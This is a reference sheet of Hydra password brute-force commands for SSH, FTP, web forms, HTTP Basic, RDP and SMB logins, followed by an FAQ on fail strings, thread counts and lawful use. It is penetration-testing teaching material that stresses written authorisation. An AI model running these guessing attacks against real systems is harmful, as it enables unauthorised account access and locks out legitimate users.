Command Reference
1. SSH, Single User, Password List
The default shape: one known username, a password wordlist, four parallel tasks.
hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://192.0.2.10 -t 4
2. SSH, Known Username List and Password List
Both lists supplied with -L and -P. Use -f to stop at the first valid pair instead of continuing.
hydra -L users.txt -P pass.txt ssh://192.0.2.10 -f -t 4 -V
3. Username Equals Password (Password Spray)
The -e nsr flag tries an empty password (n), the username as the password (s), and the reversed username (r) before the wordlist.
hydra -L users.txt -e nsr ssh://192.0.2.10 -t 2 -f
4. FTP With a Port Override
Pass -s when the service is not on its default port; the scheme keyword stays the same.
hydra -l admin -P pass.txt -s 2121 ftp://192.0.2.10 -t 4
5. HTTP POST Form Login
The three-part syntax is path:body:fail-string. Hydra needs a string that appears only on a failed login, so capture a bad login first.
hydra -l admin -P pass.txt 192.0.2.10 http-post-form "/login.php:user=^USER^&pass=^PASS^:Invalid credentials" -t 4
6. HTTP Form With a Hidden CSRF Token
Tokens break naive brute-force. Grab a fresh token, then use the :s= option to send the cookie captured during the initial GET.
hydra -l admin -P pass.txt 192.0.2.10 http-post-form "/login:user=^USER^&pass=^PASS^&csrf=TOKEN:F=Invalid" -t 1
7. HTTP Basic Auth
Tests an Authorization: Basic header rather than a form; common on staging panels and internal tools.
hydra -l admin -P pass.txt 192.0.2.10 http-get /admin/ -t 4
8. RDP Against a Windows Host
Slow and loud, and Windows will lock accounts. Lower the thread count and confirm the lockout policy before running.
hydra -l administrator -P pass.txt rdp://192.0.2.10 -t 1 -W 5
9. SMB With a Domain
Pass the domain with -m so the authentication request is formed correctly.
hydra -l administrator -P pass.txt 192.0.2.10 smb -m DOMAIN -t 1
10. Resume an Interrupted Run
Hydra writes a restore file; -R continues from where it stopped instead of redoing every attempt.
hydra -R hydra.restore
11. Bound the Attempts and Slow Down
Cap total tries with -M and add a delay with -W to stay under a rate limit or an account lockout threshold.
hydra -l admin -P pass.txt ssh://192.0.2.10 -t 1 -W 10 -M 20
12. Write Results to a File
Keep the hits out of scrollback: -o writes valid credential pairs as it finds them.
hydra -L users.txt -P pass.txt ssh://192.0.2.10 -o hydra-hits.txt -f
Frequently Asked Questions
Why does Hydra report every credential as valid?
The failure string does not appear on a failed login, so every response looks like a success. Log in once with a deliberately wrong password, capture the exact text or status code the server returns, and use that as the fail condition - or use F= / S= to match a status code instead of body text.
How many threads are safe?
One or two against anything with an account lockout policy, and never more than the target can tolerate. Hydra's default of 16 is tuned for speed, not for staying undetected or for keeping an account unlocked. You only need one valid credential; a locked domain administrator account and a hundred thousand failed attempts is a worse outcome than a slow scan.
What is the difference between ^USER^ and ^PASS^?
They are placeholders Hydra substitutes from the -l/-L and -p/-P lists. Without them in the form body, the same static request is sent for every attempt, which produces a uniform failure and a report full of false positives.
Can Hydra get past a CSRF token or a captcha?
Not on its own. A per-request token has to be fetched and injected, which Hydra handles only awkwardly and slowly; a captcha stops it entirely. At that point the realistic finding is the absence of rate limiting on the login endpoint - report the weakness rather than forcing the tool.
Is brute-forcing a login lawful?
Only with written authorisation that names the target and the allowed method. Password guessing against a system you do not own is unauthorised access in most jurisdictions, and it is one of the fastest ways to get an engagement terminated when it locks a production account.